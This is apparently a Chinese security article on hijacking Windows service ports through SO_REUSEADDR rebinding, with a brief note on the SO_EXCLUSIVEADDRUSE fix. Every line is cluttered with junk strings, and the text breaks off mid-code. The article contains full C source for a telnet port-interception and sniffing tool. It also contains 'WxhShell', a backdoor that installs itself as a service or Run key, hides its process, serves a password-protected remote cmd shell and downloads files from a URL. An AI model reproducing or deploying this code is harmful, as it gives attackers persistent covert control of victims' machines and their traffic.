在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Vg"v C s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Jb7^'P \@
N[ saddr.sin_family = AF_INET;
2kFP;7FO ORIXcj] saddr.sin_addr.s_addr = htonl(INADDR_ANY);
4%SA%]a L1 I$fm"N bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
?y~"\iP |1+mHp 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
#<-%% jhka;m 这意味着什么?意味着可以进行如下的攻击:
FJ|JXH* (Ii+}Mfp 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
z{U^j:A *!}bU` 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
94[8~_{fG [Lid%2O3ZR 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
p,mKgL63 %hRH80W| 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
R w!_j! ,Q+.kAh !G 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
90a!_8o o-<.8Z}>at 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
!z+'mF?V+X [5MV$)"!j 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
6J3<k(#: KzZRFEA_ #include
U1=\ `)u; #include
mfgUf #include
GrM`\MIO #include
!<5Wi)* DWORD WINAPI ClientThread(LPVOID lpParam);
AZbFj-^4 int main()
]/?$DNjCc {
3s,a%GOk WORD wVersionRequested;
{$_Gjv DWORD ret;
W!b'nRkq WSADATA wsaData;
A 1aN<!ehB BOOL val;
h&EF)~G SOCKADDR_IN saddr;
o?wEX% SOCKADDR_IN scaddr;
xbZR/!? int err;
n,b6|Y0 SOCKET s;
7vB6IF SOCKET sc;
-dH]_ int caddsize;
3\a VZx! HANDLE mt;
TA!6|)BUW DWORD tid;
F<Z13]| wVersionRequested = MAKEWORD( 2, 2 );
ZtOv'nTD err = WSAStartup( wVersionRequested, &wsaData );
BVxk}#d if ( err != 0 ) {
D4U<Rn6N_5 printf("error!WSAStartup failed!\n");
f(*iagEy return -1;
s'k}
.} }
@8|i@S@4 saddr.sin_family = AF_INET;
L=kETJ:g E{IY7Xz^> //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
X/A(8rvCr wI#R\v8(`n saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
\S)cVp)h saddr.sin_port = htons(23);
(*V:{_r if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
'OsRQ)E {
O`0\f8/.? printf("error!socket failed!\n");
_*u$U return -1;
NnO%D^P] }
~Da-|FKa> val = TRUE;
}syU(];s //SO_REUSEADDR选项就是可以实现端口重绑定的
HXQ
}B$V if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
q$jwH]
. {
;Bne=vjQp printf("error!setsockopt failed!\n");
\NQ[w7 return -1;
9mB] \{^ }
O\}w&BE:h //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
UMlvu?u2p1 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Rh{`#dI~= //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
(iY2d_FQ[ $!\Z_: if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
E[Ao* {
X6n8Bi9Ik ret=GetLastError();
C@9K`N[* printf("error!bind failed!\n");
|pR'#M4j4A return -1;
\N)!]jq }
3PaMq6Ca listen(s,2);
P
B{7u while(1)
sxPvi0> {
8D`TN8[W caddsize = sizeof(scaddr);
+D M,+{} //接受连接请求
.8]=yPm sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
])vqXjN6" if(sc!=INVALID_SOCKET)
qex::Qf {
NX?6
(lO, mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
CiIIlE4 if(mt==NULL)
6\6g-1B` {
nC#SnyUO printf("Thread Creat Failed!\n");
xm> y3WC break;
BJnysQ }
S
vW{1 }
vw/GAljflu CloseHandle(mt);
, 4@C % }
OQ4rJ#b closesocket(s);
[m9=e-KS$Q WSACleanup();
/!W',9ua6 return 0;
$%5vJiuk }
3IQ-2 X-- DWORD WINAPI ClientThread(LPVOID lpParam)
HVNX"`]" {
Hx ojxZwm SOCKET ss = (SOCKET)lpParam;
h BzZJ/jn SOCKET sc;
zu``F]B unsigned char buf[4096];
u\=yY. SOCKADDR_IN saddr;
~oeX0l>F long num;
T_<: DWORD val;
k<%y+v DWORD ret;
U (A#} //如果是隐藏端口应用的话,可以在此处加一些判断
C40W@*6S2 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
<Mf(2`T saddr.sin_family = AF_INET;
sDyt 3xN saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
i[PksT#p saddr.sin_port = htons(23);
!FeNx*31i if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
l!%V&HJV {
g3\13< printf("error!socket failed!\n");
^\3z$ntF return -1;
MG74,D.f }
Lg+cHaA val = 100;
\`8?=_ST if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
fs*OR2YG7 {
$GIup5 ret = GetLastError();
"Fqrk>Q~ return -1;
wQ\bGBks }
3s Mmg` if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
'#CYw=S+ {
l"9$lF} ret = GetLastError();
A7TV-eWG return -1;
VPOp#;"% }
_6C,w`[[6 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
q #X[oVq {
7OLchf printf("error!socket connect failed!\n");
{AAi x closesocket(sc);
`
NWmwmWB" closesocket(ss);
>RKepV(X7 return -1;
(z X&feq }
0Y/k/)Ul] while(1)
gBo~NLrf {
6('xIE(R //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
wW0m}L //如果是嗅探内容的话,可以再此处进行内容分析和记录
&_$xMM,X //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
B[[1= num = recv(ss,buf,4096,0);
);fPir?+ if(num>0)
9,0}}3J send(sc,buf,num,0);
]VK9d;0D else if(num==0)
"oT]_WHqo break;
]H=P(Z- num = recv(sc,buf,4096,0);
qnf\K} if(num>0)
RBOhV/f send(ss,buf,num,0);
2w/qH4 else if(num==0)
A9M/n^61 break;
F1&7m
)f$l }
aN~x3G closesocket(ss);
H]>7IhJ closesocket(sc);
wI2fCq(a0 return 0 ;
3E:+DF-Z\ }
7kQ,D,c' 7dXh,sD vQDkZ ==========================================================
Y~I6ee,\ ;($ 3,d8 下边附上一个代码,,WXhSHELL
.;NoKO7) zjwo"6c> ==========================================================
f9J]-#I if k1M?6TW& #include "stdafx.h"
5C"A*Fg?; B-aJn8>/ #include <stdio.h>
f'B#h;` #include <string.h>
*G;D u`; #include <windows.h>
kl9<l* #include <winsock2.h>
?XO}6q<tM #include <winsvc.h>
Kw,ln<)2 #include <urlmon.h>
$
iU~p %{^kmlO #pragma comment (lib, "Ws2_32.lib")
KPs
@v@5M #pragma comment (lib, "urlmon.lib")
|NaEXzo|qY Wx-rW #define MAX_USER 100 // 最大客户端连接数
4L[-[{2 #define BUF_SOCK 200 // sock buffer
w0$l3^}z #define KEY_BUFF 255 // 输入 buffer
!8Q9RnGn /R)(u@jk #define REBOOT 0 // 重启
}J\KnaKo #define SHUTDOWN 1 // 关机
d)jX%Z$LC )J!=X`b #define DEF_PORT 5000 // 监听端口
QzA/HP a y{1|@?ii #define REG_LEN 16 // 注册表键长度
b. oA}XP #define SVC_LEN 80 // NT服务名长度
qVmG"et'J &1,qC,:! // 从dll定义API
`PvGfmYOl typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
]e]l08 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
6d|%8.q1 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
h5R5FzY0& typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
'8bT9 `(?x@Y>.Ht // wxhshell配置信息
E[E[Za^Y struct WSCFG {
h; sdm/ int ws_port; // 监听端口
ZVmgQ7m char ws_passstr[REG_LEN]; // 口令
t=oTU,< int ws_autoins; // 安装标记, 1=yes 0=no
<y5f[HjLy char ws_regname[REG_LEN]; // 注册表键名
B~2\v%J char ws_svcname[REG_LEN]; // 服务名
NX4}o&mDwn char ws_svcdisp[SVC_LEN]; // 服务显示名
Gn%gSH/ char ws_svcdesc[SVC_LEN]; // 服务描述信息
3RTraF char ws_passmsg[SVC_LEN]; // 密码输入提示信息
3xz{[ 5<p int ws_downexe; // 下载执行标记, 1=yes 0=no
J#'+&DH char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
S[W|=(f9 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
{,rVA(I@ <sq@[\l}a };
[{!5{k! O%(k$fvM // default Wxhshell configuration
sd~T struct WSCFG wscfg={DEF_PORT,
*S@0o6v "xuhuanlingzhe",
Pkw` o # 1,
sS|N.2* "Wxhshell",
]1<O [d "Wxhshell",
N2^B "WxhShell Service",
h&6v&%S/L "Wrsky Windows CmdShell Service",
*"D8E^9 "Please Input Your Password: ",
"m:4e`_dz 1,
h .Iscr^~ "
http://www.wrsky.com/wxhshell.exe",
]h$,=Qf
hD "Wxhshell.exe"
xPi/nWl`| };
/n SmGAO /)` kYD6 // 消息定义模块
V5{^R+_)Ya char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
^#4?v^QNh char *msg_ws_prompt="\n\r? for help\n\r#>";
LGm>x char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
)R2BTE: char *msg_ws_ext="\n\rExit.";
WwF4`kxT char *msg_ws_end="\n\rQuit.";
Ibd
na9z7 char *msg_ws_boot="\n\rReboot...";
@*gm\sU4 char *msg_ws_poff="\n\rShutdown...";
bvMa|;f1 char *msg_ws_down="\n\rSave to ";
|[VtYV _{ B|Rnh;B- char *msg_ws_err="\n\rErr!";
@{Q[M3l char *msg_ws_ok="\n\rOK!";
tzhkdG 0/."R; char ExeFile[MAX_PATH];
='0f#>0Q int nUser = 0;
Sh=Px9'i HANDLE handles[MAX_USER];
{<HL}m@kQ int OsIsNt;
lFNf/j^Z u,e(5LU SERVICE_STATUS serviceStatus;
DVNGV SERVICE_STATUS_HANDLE hServiceStatusHandle;
H3"[zg9L:a "3*Chc // 函数声明
K`nI$l7hg int Install(void);
3 G?^/nB int Uninstall(void);
$GyO+xF int DownloadFile(char *sURL, SOCKET wsh);
,HEx9*E/s int Boot(int flag);
#cBt@SEL' void HideProc(void);
AFWcTz6 #d int GetOsVer(void);
Ok+zUA[Wu int Wxhshell(SOCKET wsl);
6ZBg/_m void TalkWithClient(void *cs);
->oQ,ezB int CmdShell(SOCKET sock);
Ey77]\ int StartFromService(void);
7 N?x29 int StartWxhshell(LPSTR lpCmdLine);
bUC-} |#x;}_>7 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
U
n#7@8, VOID WINAPI NTServiceHandler( DWORD fdwControl );
&X
+Qi /vl]Oa&U // 数据结构和表定义
k[l+~5ix SERVICE_TABLE_ENTRY DispatchTable[] =
3,bA&c3 {
{_1^ GIIS {wscfg.ws_svcname, NTServiceMain},
EOrWax@k$} {NULL, NULL}
AF1";duA };
,epKt(vl &+-ZXN // 自我安装
cWl)ZE<hM int Install(void)
=z]&E 78Y {
z0V d(QL char svExeFile[MAX_PATH];
)^uLZMNaI HKEY key;
p3:x\P<| strcpy(svExeFile,ExeFile);
~ X8U@f
PKR0y%Ar // 如果是win9x系统,修改注册表设为自启动
$EbxV"b+ if(!OsIsNt) {
xDu11W+g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
D>,]EE- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
lnW/T -- RegCloseKey(key);
UM7Ft" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
*eL%[B RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
=1lKcA[z RegCloseKey(key);
FyYQ4ov0&o return 0;
0/<}.Z] }
j4le../N }
fcb:LPk; }
3O<<XXar else {
EuqmA7s8A ?rWqFM:hb // 如果是NT以上系统,安装为系统服务
/`0*!sN*5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
A\ze3fmV if (schSCManager!=0)
$Vbgfp~U- {
"OFYVK\]i SC_HANDLE schService = CreateService
F8YD: (
]c+qD,wqt> schSCManager,
?)1h.K1}M wscfg.ws_svcname,
6}IOUWLB@ wscfg.ws_svcdisp,
a@zKi; SERVICE_ALL_ACCESS,
ppVjFCv0< SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
^o"9f1s 5 SERVICE_AUTO_START,
g8mVjM\B; SERVICE_ERROR_NORMAL,
u.0Z)j}N svExeFile,
('W#r" NULL,
|]DZc/ NULL,
P
/wc9Yt NULL,
WW@/q`h NULL,
:q;vZ6Xd NULL
J @"wJEF );
v*QobI if (schService!=0)
P f6rr9 {
b0x9} CloseServiceHandle(schService);
d#I'9O0& CloseServiceHandle(schSCManager);
V>@NkQ<|y strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
1;SW%\M strcat(svExeFile,wscfg.ws_svcname);
s[h'W~ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
&pK1S>t RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
+KDB^{ RegCloseKey(key);
x+nrdW+ return 0;
d4[M{LSl }
3w
?)H }
)#T(2A CloseServiceHandle(schSCManager);
]0xbvJ8oK }
SYB
}
e }
9Z6] ];8E WUGPi'x return 1;
g{8>2OK$c }
qUx!-DMY 8~EDmg[ // 自我卸载
joAR;J int Uninstall(void)
el.;T*Wn {
%&4sHDP HKEY key;
D._q'v< g!V;*[ if(!OsIsNt) {
W&}R7a@:<~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
engql; RegDeleteValue(key,wscfg.ws_regname);
(#eB% RegCloseKey(key);
p<`q^D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
j?+FS`a! RegDeleteValue(key,wscfg.ws_regname);
BGodrb1 RegCloseKey(key);
nC qUg_{D return 0;
5(%+8<2 }
Exc`>Y q
}
V(=~p[ }
7cr+a4 T33 else {
>wdR4!x!? I(s\ Q[ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
4.|]R8Mn if (schSCManager!=0)
&rorBD 5aj {
aa.EtKl SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
(JocnM|U if (schService!=0)
| 5Mhrb4. {
@mNf(& if(DeleteService(schService)!=0) {
O:+#k-? CloseServiceHandle(schService);
p` B48TW CloseServiceHandle(schSCManager);
%^p1ax return 0;
{uL<$;#i }
ya5;C" CloseServiceHandle(schService);
i t,i^32| }
,6}HAC $ CloseServiceHandle(schSCManager);
z=N'evx~ }
gPT-zul }
uPsn~>(4 u!k\W{ return 1;
F6}Pwz[c }
iJZqAfG{m? Pc nr // 从指定url下载文件
aM9^V MOb int DownloadFile(char *sURL, SOCKET wsh)
]~U4; {
w_ kHy_) HRESULT hr;
% rRYT8 char seps[]= "/";
GLcf'$l char *token;
8%_XJyg char *file;
!qV{OXdrB char myURL[MAX_PATH];
w+=>b char myFILE[MAX_PATH];
2wlrei z.
VuY3 strcpy(myURL,sURL);
Gk;==~ token=strtok(myURL,seps);
z;zyk while(token!=NULL)
~x)Awdlu {
o*_[3{FU file=token;
u&I?LZ-=, token=strtok(NULL,seps);
N0O8to}V }
Gx|$A+U _'ltz!~ GetCurrentDirectory(MAX_PATH,myFILE);
}W#Gf.$6C strcat(myFILE, "\\");
54_CewL1P] strcat(myFILE, file);
<T)9mJYr send(wsh,myFILE,strlen(myFILE),0);
xlp^XT6# send(wsh,"...",3,0);
O"<D0xzF? hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
>~){KV1~ if(hr==S_OK)
-;a}'1HOE return 0;
2o] V q else
4'Z=T\: return 1;
I5mnV<QA^ 3!_y@sWx }
^Y8?iC<+ a9j
f7r1 // 系统电源模块
\l?\%aqm int Boot(int flag)
"a6[FqTs {
.}&bE1 HANDLE hToken;
hk3}}jc TOKEN_PRIVILEGES tkp;
iOkRB[hi 0UB)FK,9 if(OsIsNt) {
8L`J](y OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
qZ'&zB) LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
gXZC%S tkp.PrivilegeCount = 1;
fW~r%u
.y tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
QFY1@2EC AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
$ jWe!]ASU if(flag==REBOOT) {
>'iXwe- if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
u27K
0} return 0;
wHq*)7#h# }
/oKa?iT else {
[#`)Bb&w if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
VI:
!# return 0;
X,y0J }
m X{_B!j^ }
Hphvsre< else {
vnwS&;-k~ if(flag==REBOOT) {
Jte:U*2 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
L'B=
=# return 0;
]&w8"q }
?9'Ukw`
g else {
\=Rw/[lR if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
ad+@2-Y return 0;
))- B`vi }
[vh&o-6 }
i%w[v_j 2L Kpwz? return 1;
.Y|5i^i9{ }
C +S Mhp6,JL // win9x进程隐藏模块
,7-@eZ void HideProc(void)
8 SFw| {
l&}3M #~QkS_ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
qM%l if ( hKernel != NULL )
Iow45R~] {
ukNB#2" pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
o^HzE;L} ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Tk1U FreeLibrary(hKernel);
"A?&`}% }
/WqiGkHV* 2smQD8t return;
,F^Rz. }
G_OLUuK?C ,Hq*zc c // 获取操作系统版本
JSO'. [N int GetOsVer(void)
o +-G@16 {
A_nu:K- OSVERSIONINFO winfo;
RC{|:@]8 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
leY fF GetVersionEx(&winfo);
;<^t)8E if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
.] gY{_|x return 1;
#i6ZY^+ee else
tUzef return 0;
0=g~ozEW& }
$/R r|< ftr?@^ // 客户端句柄模块
m~$S ]Wf int Wxhshell(SOCKET wsl)
Dx:2/"v {
#@qd.,]2 SOCKET wsh;
@xu/&pbI struct sockaddr_in client;
6KpG,%2L# DWORD myID;
QVEGd"WvvO ik:fq&= while(nUser<MAX_USER)
)$Tcip` {
)wFr%wNe int nSize=sizeof(client);
:Ca]/ ]] wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
@)hrj2Jw if(wsh==INVALID_SOCKET) return 1;
H6fR6Kr4j \7l%@ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Wu:@+~J.h if(handles[nUser]==0)
!`UHr]HJ closesocket(wsh);
uW@o,S0: else
*Y!c6eA nUser++;
t93iU?Z }
V(/=0H/ F WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
B%~D`[~? e1d);m$ return 0;
(txr%Z0E }
b0vbE8wa Po+tk5}''5 // 关闭 socket
~YYg~6}vV void CloseIt(SOCKET wsh)
\Gzo^w {
VOmWRy"L closesocket(wsh);
,:G3 Y
) nUser--;
}zK/43Vx ExitThread(0);
\q |n0> }
#!h +K"wX q^.\8zFf // 客户端请求句柄
bM%c*_$F7 void TalkWithClient(void *cs)
0'{`"QD\IW {
NbDfD3
1GK T -'B-g SOCKET wsh=(SOCKET)cs;
0xNlO9b/ char pwd[SVC_LEN];
wd=xs7Dz<p char cmd[KEY_BUFF];
Aj22t char chr[1];
%s#`i$|z*n int i,j;
'
YONRha GA8cA)]zOD while (nUser < MAX_USER) {
INHN=KY{ c=-2c&=& if(wscfg.ws_passstr) {
limzDQ^ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
~6hG"t]: //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
E?&
x5? //ZeroMemory(pwd,KEY_BUFF);
!iOuIYjV i=0;
h0N*hx while(i<SVC_LEN) {
0H V-e 8J-;/ // 设置超时
F[
Itq fd_set FdRead;
x_&m$Fh struct timeval TimeOut;
yk5T"#'+ FD_ZERO(&FdRead);
LqHeLN FD_SET(wsh,&FdRead);
jZ'y_ TimeOut.tv_sec=8;
vd5"phn
3 TimeOut.tv_usec=0;
us.+nnd int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
l7]$Wc[ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
!6wbg :*2+t- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
GMw|@?:{ pwd
=chr[0]; ]Mh7;&<6[
if(chr[0]==0xd || chr[0]==0xa) { qdn\8Pn
pwd=0; @UO=)PxN3
break; 6]|NB &
} /WDz;,X
i++; Lp \%-s#5s
} HA{-XPAWZ
HY]vaA`
// 如果是非法用户,关闭 socket FjUp+5
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t9&z|?Vz
} z]k=sk
dt"[5;_P`
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |Hbe]2"x>
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o8P 5C4y
}9=\#Le~\
while(1) { ^i{B8]2,
9 Byk/&$U
ZeroMemory(cmd,KEY_BUFF); xDBEs*
(k"oV>a|
// 自动支持客户端 telnet标准 qYFol#=%
j=0; Z6&s 6MF
while(j<KEY_BUFF) { `07u}]d8
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZkYc9!anY
cmd[j]=chr[0]; Rg&6J#h
if(chr[0]==0xa || chr[0]==0xd) { #K7i<Bf
cmd[j]=0; Ep}KIBBO
break; -[#Mx}%
} US)wr
j++; I}Z[F,}*J
} z9$x9u
oll~|J^sg
// 下载文件 2
G_*Pqc
if(strstr(cmd,"http://")) { J`O4]XRY
send(wsh,msg_ws_down,strlen(msg_ws_down),0); QEM")(
if(DownloadFile(cmd,wsh)) RlX;c!K
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -e%=Mpq.
else ;T6^cS{ Gj
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !EM21Sc
} ^ h^2='p
else { 9B'l+nP
}i/&m&VU
switch(cmd[0]) { >qx~m>2|8]
p;j$i6YJ
// 帮助 mN?'Aey
case '?': { N|Ua|^
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); VzpPopD,QW
break; 7F`QN18>(
} )?pin|_x
// 安装 b6S86>
case 'i': { "h7-nwm
if(Install()) !{s$V2_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ue/6DwUv
else ;FZ\PxN
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;0xCrE{l"
break; SBjtg@:G0n
} HtEjM|zj
// 卸载 8Mg4y1)RU
case 'r': { /Fh"Gl^
if(Uninstall()) [ZURs3q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ItKwB+my
else 1elcP`N1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]qXHalHY
break; FTCp3g
} -ihF)^"a
// 显示 wxhshell 所在路径 }#<Sq57n
case 'p': { ;y6Jo
char svExeFile[MAX_PATH]; P>pkLP}
Vo
strcpy(svExeFile,"\n\r"); R_vZh|
strcat(svExeFile,ExeFile); 8+gx?pb
send(wsh,svExeFile,strlen(svExeFile),0); 'xStA
break; 7!oqn'#>A
} .1I];Cy0D
// 重启 r'&9'rir2
case 'b': { }jiqUBn%
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ADv
a@P
if(Boot(REBOOT)) lbg6n:@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7@EYF
else { Yc?t aL)
closesocket(wsh); _gC<%6#V`r
ExitThread(0); EemKYcE@Nr
} %/etoK
break; _5
tw1 >
} 5B2x#
m|8
// 关机 bHS2;K~
case 'd': { ZFW}Vnl
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {K3\S
0L
if(Boot(SHUTDOWN)) jI;bVG
send(wsh,msg_ws_err,strlen(msg_ws_err),0); q3NS?t!
else { tx5_e[
closesocket(wsh); 308w0eP
ExitThread(0); ?]9uHrdsN}
} aE#ZTc=
break; h*%T2
} 7U.g4x|<
// 获取shell ;xB"D0~,1
case 's': { :R_{tQ-WG
CmdShell(wsh); 6-KC[J^Xo
closesocket(wsh); ~O1*]
ExitThread(0); 0^E!P>
break;
b1[U9
} 5)$U<^uy
// 退出 :-"J)^V
case 'x': { {]D!@87
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x;Gyo
CloseIt(wsh); k}lx!Ck
break; bq(*r:`"
} R@VO3zs W
// 离开 8!UZ..
case 'q': { z%Z}vWn
send(wsh,msg_ws_end,strlen(msg_ws_end),0); cC}s5`
closesocket(wsh); G=nFs)z
WSACleanup(); =r-Wy.a@
exit(1); =JVRm
2#*
break; o~4n8
} _)_XO92~
} nr-mf]W&
} HqF8:z?v
yPQ{tS*t
// 提示信息 8OFrW.>[
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qyJpm{
} ]@8=e'V
} XdS<51 C
zcZw}
return; F_r eBPx
} \!^o<$s.G
=0f8W=d:Vr
// shell模块句柄 H~~(v52wD
int CmdShell(SOCKET sock) _:K}DU'6
{ <Ihn1?
STARTUPINFO si; Wey\GQ`"8
ZeroMemory(&si,sizeof(si)); 7>~iS@7GV
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ttKfZ0
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2 sOc]L:9
PROCESS_INFORMATION ProcessInfo; $U0(%lIU
char cmdline[]="cmd"; >L;O, {Px-
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <n:?WP~U
return 0; N-Z 9
} GbE3:;JI
]e3nnS1*.
// 自身启动模式 mzw*6e2T
int StartFromService(void) Rd$<R
{ lz*2wGI9
typedef struct ^\6UTnS.
{ A^Zs?<C-
DWORD ExitStatus; a;zcAeX
DWORD PebBaseAddress; SeTU`WLEm
DWORD AffinityMask; #Nd+X@j
